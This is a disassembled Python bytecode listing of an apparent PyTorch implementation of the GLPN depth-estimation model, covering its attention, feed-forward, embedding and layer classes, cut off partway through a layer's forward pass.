LOAD_CONST <code object GLPNAttention at 0x7fa6d4b48030, file "f.py", line 201> LOAD_CONST 'GLPNAttention' MAKE_FUNCTION LOAD_CONST 'GLPNAttention' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNAttention LOAD_BUILD_CLASS LOAD_CONST <code object GLPNDWConv at 0x7fa6d4b484b0, file "f.py", line 246> LOAD_CONST 'GLPNDWConv' MAKE_FUNCTION LOAD_CONST 'GLPNDWConv' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNDWConv LOAD_BUILD_CLASS LOAD_CONST <code object GLPNMixFFN at 0x7fa6d4b488a0, file "f.py", line 262> LOAD_CONST 'GLPNMixFFN' MAKE_FUNCTION LOAD_CONST 'GLPNMixFFN' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNMixFFN LOAD_BUILD_CLASS LOAD_CONST <code object GLPNLayer at 0x7fa6d4b480c0, file "f.py", line 285> LOAD_CONST 'GLPNLayer' MAKE_FUNCTION LOAD_CONST 'GLPNLayer' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNLayer LOAD_BUILD_CLASS LOAD_CONST <code object GLPNEncoder at 0x7fa6d4b48660, file "f.py", line 340> LOAD_CONST 'GLPNEncoder' MAKE_FUNCTION LOAD_CONST 'GLPNEncoder' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNEncoder LOAD_BUILD_CLASS LOAD_CONST <code object GLPNPreTrainedModel at 0x7fa6d4b48270, file "f.py", line 437> LOAD_CONST 'GLPNPreTrainedModel' MAKE_FUNCTION LOAD_CONST 'GLPNPreTrainedModel' LOAD_NAME PreTrainedModel CALL_FUNCTION STORE_NAME GLPNPreTrainedModel LOAD_CONST '\n This model is a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) sub-class. Use\n it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage and\n behavior.\n\n Parameters:\n config ([`GLPNConfig`]): Model configuration class with all the parameters of the model.\n Initializing with a config file does not load the weights associated with the model, only the\n configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.\n' STORE_NAME GLPN_START_DOCSTRING LOAD_CONST '\n\n Args:\n pixel_values (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`):\n Pixel values. Padding will be ignored by default should you provide it. Pixel values can be obtained using\n [`AutoImageProcessor`]. See [`GLPNImageProcessor.__call__`] for details.\n\n output_attentions (`bool`, *optional*):\n Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned\n tensors for more detail.\n output_hidden_states (`bool`, *optional*):\n Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for\n more detail.\n return_dict (`bool`, *optional*):\n Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.\n' STORE_NAME GLPN_INPUTS_DOCSTRING LOAD_NAME add_start_docstrings LOAD_CONST 'The bare GLPN encoder (Mix-Transformer) outputting raw hidden-states without any specific head on top.' LOAD_NAME GLPN_START_DOCSTRING CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object GLPNModel at 0x7fa6d804a6f0, file "f.py", line 491> LOAD_CONST 'GLPNModel' MAKE_FUNCTION LOAD_CONST 'GLPNModel' LOAD_NAME GLPNPreTrainedModel CALL_FUNCTION CALL_FUNCTION STORE_NAME GLPNModel LOAD_BUILD_CLASS LOAD_CONST <code object GLPNSelectiveFeatureFusion at 0x7fa6d804a150, file "f.py", line 561> LOAD_CONST 'GLPNSelectiveFeatureFusion' MAKE_FUNCTION LOAD_CONST 'GLPNSelectiveFeatureFusion' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNSelectiveFeatureFusion LOAD_BUILD_CLASS LOAD_CONST <code object GLPNDecoderStage at 0x7fa6d804a8a0, file "f.py", line 617> LOAD_CONST 'GLPNDecoderStage' MAKE_FUNCTION LOAD_CONST 'GLPNDecoderStage' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNDecoderStage LOAD_BUILD_CLASS LOAD_CONST <code object GLPNDecoder at 0x7fa6d804a540, file "f.py", line 643> LOAD_CONST 'GLPNDecoder' MAKE_FUNCTION LOAD_CONST 'GLPNDecoder' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNDecoder LOAD_BUILD_CLASS LOAD_CONST <code object SiLogLoss at 0x7fa6d804ae40, file "f.py", line 673> LOAD_CONST 'SiLogLoss' MAKE_FUNCTION LOAD_CONST 'SiLogLoss' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME SiLogLoss LOAD_BUILD_CLASS LOAD_CONST <code object GLPNDepthEstimationHead at 0x7fa6d804a9c0, file "f.py", line 696> LOAD_CONST 'GLPNDepthEstimationHead' MAKE_FUNCTION LOAD_CONST 'GLPNDepthEstimationHead' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNDepthEstimationHead LOAD_NAME add_start_docstrings LOAD_CONST 'GLPN Model transformer with a lightweight depth estimation head on top e.g. for KITTI, NYUv2.' LOAD_NAME GLPN_START_DOCSTRING CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object GLPNForDepthEstimation at 0x7fa6d804a4b0, file "f.py", line 720> LOAD_CONST 'GLPNForDepthEstimation' MAKE_FUNCTION LOAD_CONST 'GLPNForDepthEstimation' LOAD_NAME GLPNPreTrainedModel CALL_FUNCTION CALL_FUNCTION STORE_NAME GLPNForDepthEstimation LOAD_CONST None RETURN_VALUE LOAD_FAST drop_prob LOAD_CONST 0.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST training POP_JUMP_IF_TRUE LOAD_FAST input RETURN_VALUE LOAD_CONST 1 LOAD_FAST drop_prob BINARY_SUBTRACT STORE_FAST keep_prob LOAD_FAST input LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR BUILD_TUPLE LOAD_CONST (1,) LOAD_FAST input LOAD_ATTR ndim LOAD_CONST 1 BINARY_SUBTRACT BINARY_MULTIPLY BINARY_ADD STORE_FAST shape LOAD_FAST keep_prob LOAD_GLOBAL torch LOAD_ATTR rand LOAD_FAST shape LOAD_FAST input LOAD_ATTR dtype LOAD_FAST input LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BINARY_ADD STORE_FAST random_tensor LOAD_FAST random_tensor LOAD_METHOD floor_ CALL_METHOD POP_TOP LOAD_FAST input LOAD_METHOD div LOAD_FAST keep_prob CALL_METHOD LOAD_FAST random_tensor BINARY_MULTIPLY STORE_FAST output LOAD_FAST output RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNDropPath' STORE_NAME __qualname__ LOAD_CONST 'Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks).' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME float BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('drop_prob', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6f1557db0, file "f.py", line 67> LOAD_CONST 'GLPNDropPath.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME torch LOAD_ATTR Tensor LOAD_NAME torch LOAD_ATTR Tensor LOAD_CONST ('hidden_states', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object forward at 0x7fa6f15570c0, file "f.py", line 71> LOAD_CONST 'GLPNDropPath.forward' MAKE_FUNCTION STORE_NAME forward LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object extra_repr at 0x7fa6f1557660, file "f.py", line 74> LOAD_CONST 'GLPNDropPath.extra_repr' MAKE_FUNCTION STORE_NAME extra_repr LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST drop_prob LOAD_FAST self STORE_ATTR drop_prob LOAD_CONST None RETURN_VALUE LOAD_GLOBAL drop_path LOAD_FAST hidden_states LOAD_FAST self LOAD_ATTR drop_prob LOAD_FAST self LOAD_ATTR training CALL_FUNCTION RETURN_VALUE LOAD_CONST 'p={}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR drop_prob CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNOverlapPatchEmbeddings' STORE_NAME __qualname__ LOAD_CONST 'Construct the overlapping patch embeddings.' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6f1557ae0, file "f.py", line 81> LOAD_CONST 'GLPNOverlapPatchEmbeddings.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fa6da31bf60, file "f.py", line 93> LOAD_CONST 'GLPNOverlapPatchEmbeddings.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_FAST num_channels LOAD_FAST hidden_size LOAD_FAST patch_size LOAD_FAST stride LOAD_FAST patch_size LOAD_CONST 2 BINARY_FLOOR_DIVIDE LOAD_CONST ('kernel_size', 'stride', 'padding') CALL_FUNCTION LOAD_FAST self STORE_ATTR proj LOAD_GLOBAL nn LOAD_METHOD LayerNorm LOAD_FAST hidden_size CALL_METHOD LOAD_FAST self STORE_ATTR layer_norm LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD proj LOAD_FAST pixel_values CALL_METHOD STORE_FAST embeddings LOAD_FAST embeddings LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST _ STORE_FAST _ STORE_FAST height STORE_FAST width LOAD_FAST embeddings LOAD_METHOD flatten LOAD_CONST 2 CALL_METHOD LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD STORE_FAST embeddings LOAD_FAST self LOAD_METHOD layer_norm LOAD_FAST embeddings CALL_METHOD STORE_FAST embeddings LOAD_FAST embeddings LOAD_FAST height LOAD_FAST width BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNEfficientSelfAttention' STORE_NAME __qualname__ LOAD_CONST "SegFormer's efficient self-attention mechanism. Employs the sequence reduction process introduced in the [PvT\n paper](https://arxiv.org/abs/2102.12122)." STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6da31b8a0, file "f.py", line 105> LOAD_CONST 'GLPNEfficientSelfAttention.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object transpose_for_scores at 0x7fa6da31bd20, file "f.py", line 137> LOAD_CONST 'GLPNEfficientSelfAttention.transpose_for_scores' MAKE_FUNCTION STORE_NAME transpose_for_scores LOAD_CONST (False,) LOAD_CONST <code object forward at 0x7fa6da31bc00, file "f.py", line 145> LOAD_CONST 'GLPNEfficientSelfAttention.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST hidden_size LOAD_FAST self STORE_ATTR hidden_size LOAD_FAST num_attention_heads LOAD_FAST self STORE_ATTR num_attention_heads LOAD_FAST self LOAD_ATTR hidden_size LOAD_FAST self LOAD_ATTR num_attention_heads BINARY_MODULO LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'The hidden size (' LOAD_FAST self LOAD_ATTR hidden_size FORMAT_VALUE LOAD_CONST ') is not a multiple of the number of attention heads (' LOAD_FAST self LOAD_ATTR num_attention_heads FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL int LOAD_FAST self LOAD_ATTR hidden_size LOAD_FAST self LOAD_ATTR num_attention_heads BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_FAST self STORE_ATTR attention_head_size LOAD_FAST self LOAD_ATTR num_attention_heads LOAD_FAST self LOAD_ATTR attention_head_size BINARY_MULTIPLY LOAD_FAST self STORE_ATTR all_head_size LOAD_GLOBAL nn LOAD_METHOD Linear LOAD_FAST self LOAD_ATTR hidden_size LOAD_FAST self LOAD_ATTR all_head_size CALL_METHOD LOAD_FAST self STORE_ATTR query LOAD_GLOBAL nn LOAD_METHOD Linear LOAD_FAST self LOAD_ATTR hidden_size LOAD_FAST self LOAD_ATTR all_head_size CALL_METHOD LOAD_FAST self STORE_ATTR key LOAD_GLOBAL nn LOAD_METHOD Linear LOAD_FAST self LOAD_ATTR hidden_size LOAD_FAST self LOAD_ATTR all_head_size CALL_METHOD LOAD_FAST self STORE_ATTR value LOAD_GLOBAL nn LOAD_METHOD Dropout LOAD_FAST config LOAD_ATTR attention_probs_dropout_prob CALL_METHOD LOAD_FAST self STORE_ATTR dropout LOAD_FAST sequence_reduction_ratio LOAD_FAST self STORE_ATTR sr_ratio LOAD_FAST sequence_reduction_ratio LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_FAST hidden_size LOAD_FAST hidden_size LOAD_FAST sequence_reduction_ratio LOAD_FAST sequence_reduction_ratio LOAD_CONST ('kernel_size', 'stride') CALL_FUNCTION LOAD_FAST self STORE_ATTR sr LOAD_GLOBAL nn LOAD_METHOD LayerNorm LOAD_FAST hidden_size CALL_METHOD LOAD_FAST self STORE_ATTR layer_norm LOAD_CONST None RETURN_VALUE LOAD_FAST hidden_states LOAD_METHOD size CALL_METHOD LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR num_attention_heads LOAD_FAST self LOAD_ATTR attention_head_size BUILD_TUPLE BINARY_ADD STORE_FAST new_shape LOAD_FAST hidden_states LOAD_METHOD view LOAD_FAST new_shape CALL_METHOD STORE_FAST hidden_states LOAD_FAST hidden_states LOAD_METHOD permute LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 3 CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD transpose_for_scores LOAD_FAST self LOAD_METHOD query LOAD_FAST hidden_states CALL_METHOD CALL_METHOD STORE_FAST query_layer LOAD_FAST self LOAD_ATTR sr_ratio LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST hidden_states LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST batch_size STORE_FAST seq_len STORE_FAST num_channels LOAD_FAST hidden_states LOAD_METHOD permute LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 CALL_METHOD LOAD_METHOD reshape LOAD_FAST batch_size LOAD_FAST num_channels LOAD_FAST height LOAD_FAST width CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD sr LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST hidden_states LOAD_METHOD reshape LOAD_FAST batch_size LOAD_FAST num_channels LOAD_CONST -1 CALL_METHOD LOAD_METHOD permute LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD layer_norm LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD transpose_for_scores LOAD_FAST self LOAD_METHOD key LOAD_FAST hidden_states CALL_METHOD CALL_METHOD STORE_FAST key_layer LOAD_FAST self LOAD_METHOD transpose_for_scores LOAD_FAST self LOAD_METHOD value LOAD_FAST hidden_states CALL_METHOD CALL_METHOD STORE_FAST value_layer LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST query_layer LOAD_FAST key_layer LOAD_METHOD transpose LOAD_CONST -1 LOAD_CONST -2 CALL_METHOD CALL_METHOD STORE_FAST attention_scores LOAD_FAST attention_scores LOAD_GLOBAL math LOAD_METHOD sqrt LOAD_FAST self LOAD_ATTR attention_head_size CALL_METHOD BINARY_TRUE_DIVIDE STORE_FAST attention_scores LOAD_GLOBAL nn LOAD_ATTR functional LOAD_ATTR softmax LOAD_FAST attention_scores LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attention_probs LOAD_FAST self LOAD_METHOD dropout LOAD_FAST attention_probs CALL_METHOD STORE_FAST attention_probs LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST attention_probs LOAD_FAST value_layer CALL_METHOD STORE_FAST context_layer LOAD_FAST context_layer LOAD_METHOD permute LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 3 CALL_METHOD LOAD_METHOD contiguous CALL_METHOD STORE_FAST context_layer LOAD_FAST context_layer LOAD_METHOD size CALL_METHOD LOAD_CONST None LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR all_head_size BUILD_TUPLE BINARY_ADD STORE_FAST new_context_layer_shape LOAD_FAST context_layer LOAD_METHOD view LOAD_FAST new_context_layer_shape CALL_METHOD STORE_FAST context_layer LOAD_FAST output_attentions EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST context_layer LOAD_FAST attention_probs BUILD_TUPLE JUMP_FORWARD to 286 LOAD_FAST context_layer BUILD_TUPLE STORE_FAST outputs LOAD_FAST outputs RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNSelfOutput' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6da31b930, file "f.py", line 190> LOAD_CONST 'GLPNSelfOutput.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fa6d4b48540, file "f.py", line 195> LOAD_CONST 'GLPNSelfOutput.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_METHOD Linear LOAD_FAST hidden_size LOAD_FAST hidden_size CALL_METHOD LOAD_FAST self STORE_ATTR dense LOAD_GLOBAL nn LOAD_METHOD Dropout LOAD_FAST config LOAD_ATTR hidden_dropout_prob CALL_METHOD LOAD_FAST self STORE_ATTR dropout LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD dense LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD dropout LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST hidden_states RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNAttention' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d4b48390, file "f.py", line 202> LOAD_CONST 'GLPNAttention.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object prune_heads at 0x7fa6d4b48a50, file "f.py", line 215> LOAD_CONST 'GLPNAttention.prune_heads' MAKE_FUNCTION STORE_NAME prune_heads LOAD_CONST (False,) LOAD_CONST <code object forward at 0x7fa6d4b48c90, file "f.py", line 236> LOAD_CONST 'GLPNAttention.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL GLPNEfficientSelfAttention LOAD_FAST config LOAD_FAST hidden_size LOAD_FAST num_attention_heads LOAD_FAST sequence_reduction_ratio LOAD_CONST ('config', 'hidden_size', 'num_attention_heads', 'sequence_reduction_ratio') CALL_FUNCTION LOAD_FAST self STORE_ATTR self LOAD_GLOBAL GLPNSelfOutput LOAD_FAST config LOAD_FAST hidden_size LOAD_CONST ('hidden_size',) CALL_FUNCTION LOAD_FAST self STORE_ATTR output LOAD_GLOBAL set CALL_FUNCTION LOAD_FAST self STORE_ATTR pruned_heads LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST heads CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL find_pruneable_heads_and_indices LOAD_FAST heads LOAD_FAST self LOAD_ATTR self LOAD_ATTR num_attention_heads LOAD_FAST self LOAD_ATTR self LOAD_ATTR attention_head_size LOAD_FAST self LOAD_ATTR pruned_heads CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST heads STORE_FAST index LOAD_GLOBAL prune_linear_layer LOAD_FAST self LOAD_ATTR self LOAD_ATTR query LOAD_FAST index CALL_FUNCTION LOAD_FAST self LOAD_ATTR self STORE_ATTR query LOAD_GLOBAL prune_linear_layer LOAD_FAST self LOAD_ATTR self LOAD_ATTR key LOAD_FAST index CALL_FUNCTION LOAD_FAST self LOAD_ATTR self STORE_ATTR key LOAD_GLOBAL prune_linear_layer LOAD_FAST self LOAD_ATTR self LOAD_ATTR value LOAD_FAST index CALL_FUNCTION LOAD_FAST self LOAD_ATTR self STORE_ATTR value LOAD_GLOBAL prune_linear_layer LOAD_FAST self LOAD_ATTR output LOAD_ATTR dense LOAD_FAST index LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR output STORE_ATTR dense LOAD_FAST self LOAD_ATTR self LOAD_ATTR num_attention_heads LOAD_GLOBAL len LOAD_FAST heads CALL_FUNCTION BINARY_SUBTRACT LOAD_FAST self LOAD_ATTR self STORE_ATTR num_attention_heads LOAD_FAST self LOAD_ATTR self LOAD_ATTR attention_head_size LOAD_FAST self LOAD_ATTR self LOAD_ATTR num_attention_heads BINARY_MULTIPLY LOAD_FAST self LOAD_ATTR self STORE_ATTR all_head_size LOAD_FAST self LOAD_ATTR pruned_heads LOAD_METHOD union LOAD_FAST heads CALL_METHOD LOAD_FAST self STORE_ATTR pruned_heads LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD self LOAD_FAST hidden_states LOAD_FAST height LOAD_FAST width LOAD_FAST output_attentions CALL_METHOD STORE_FAST self_outputs LOAD_FAST self LOAD_METHOD output LOAD_FAST self_outputs LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST hidden_states CALL_METHOD STORE_FAST attention_output LOAD_FAST attention_output BUILD_TUPLE LOAD_FAST self_outputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST outputs LOAD_FAST outputs RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNDWConv' STORE_NAME __qualname__ LOAD_CONST (768,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d4b489c0, file "f.py", line 247> LOAD_CONST 'GLPNDWConv.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fa6d4b48ed0, file "f.py", line 251> LOAD_CONST 'GLPNDWConv.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_FAST dim LOAD_FAST dim LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST True LOAD_FAST dim LOAD_CONST ('bias', 'groups') CALL_FUNCTION LOAD_FAST self STORE_ATTR dwconv LOAD_CONST None RETURN_VALUE LOAD_FAST hidden_states LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST batch_size STORE_FAST seq_len STORE_FAST num_channels LOAD_FAST hidden_states LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD LOAD_METHOD view LOAD_FAST batch_size LOAD_FAST num_channels LOAD_FAST height LOAD_FAST width CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD dwconv LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST hidden_states LOAD_METHOD flatten LOAD_CONST 2 CALL_METHOD LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD STORE_FAST hidden_states LOAD_FAST hidden_states RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNMixFFN' STORE_NAME __qualname__ LOAD_CONST (None, None) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d4b48db0, file "f.py", line 263> LOAD_CONST 'GLPNMixFFN.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fa6d4b48ae0, file "f.py", line 275> LOAD_CONST 'GLPNMixFFN.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST out_features JUMP_IF_TRUE_OR_POP LOAD_FAST in_features STORE_FAST out_features LOAD_GLOBAL nn LOAD_METHOD Linear LOAD_FAST in_features LOAD_FAST hidden_features CALL_METHOD LOAD_FAST self STORE_ATTR dense1 LOAD_GLOBAL GLPNDWConv LOAD_FAST hidden_features CALL_FUNCTION LOAD_FAST self STORE_ATTR dwconv LOAD_GLOBAL isinstance LOAD_FAST config LOAD_ATTR hidden_act LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL ACT2FN LOAD_FAST config LOAD_ATTR hidden_act BINARY_SUBSCR LOAD_FAST self STORE_ATTR intermediate_act_fn JUMP_FORWARD to 76 LOAD_FAST config LOAD_ATTR hidden_act LOAD_FAST self STORE_ATTR intermediate_act_fn LOAD_GLOBAL nn LOAD_METHOD Linear LOAD_FAST hidden_features LOAD_FAST out_features CALL_METHOD LOAD_FAST self STORE_ATTR dense2 LOAD_GLOBAL nn LOAD_METHOD Dropout LOAD_FAST config LOAD_ATTR hidden_dropout_prob CALL_METHOD LOAD_FAST self STORE_ATTR dropout LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD dense1 LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD dwconv LOAD_FAST hidden_states LOAD_FAST height LOAD_FAST width CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD intermediate_act_fn LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD dropout LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD dense2 LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD dropout LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states LOAD_FAST hidden_states RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNLayer' STORE_NAME __qualname__ LOAD_CONST 'This corresponds to the Block class in the original implementation.' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d4b48d20, file "f.py", line 288> LOAD_CONST 'GLPNLayer.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (False,) LOAD_CONST <code object forward at 0x7fa6d4b48b70, file "f.py", line 312> LOAD_CONST 'GLPNLayer.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_METHOD LayerNorm LOAD_FAST hidden_size CALL_METHOD LOAD_FAST self STORE_ATTR layer_norm_1 LOAD_GLOBAL GLPNAttention LOAD_FAST config LOAD_FAST hidden_size LOAD_FAST num_attention_heads LOAD_FAST sequence_reduction_ratio LOAD_CONST ('hidden_size', 'num_attention_heads', 'sequence_reduction_ratio') CALL_FUNCTION LOAD_FAST self STORE_ATTR attention LOAD_FAST drop_path LOAD_CONST 0.0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL GLPNDropPath LOAD_FAST drop_path CALL_FUNCTION JUMP_FORWARD to 62 LOAD_GLOBAL nn LOAD_METHOD Identity CALL_METHOD LOAD_FAST self STORE_ATTR drop_path LOAD_GLOBAL nn LOAD_METHOD LayerNorm LOAD_FAST hidden_size CALL_METHOD LOAD_FAST self STORE_ATTR layer_norm_2 LOAD_GLOBAL int LOAD_FAST hidden_size LOAD_FAST mlp_ratio BINARY_MULTIPLY CALL_FUNCTION STORE_FAST mlp_hidden_size LOAD_GLOBAL GLPNMixFFN LOAD_FAST config LOAD_FAST hidden_size LOAD_FAST mlp_hidden_size LOAD_CONST ('in_features', 'hidden_features') CALL_FUNCTION LOAD_FAST self STORE_ATTR mlp LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR attention LOAD_FAST self LOAD_METHOD layer_norm_1 LOAD_FAST hidden_states CALL_METHOD LOAD_FAST height LOAD_FAST width LOAD_FAST output_attentions LOAD_CONST ('output_attentions',) CALL_FUNCTION STORE_FAST self_attention_outputs LOAD_FAST self_attention_outputs LOAD_CONST 0 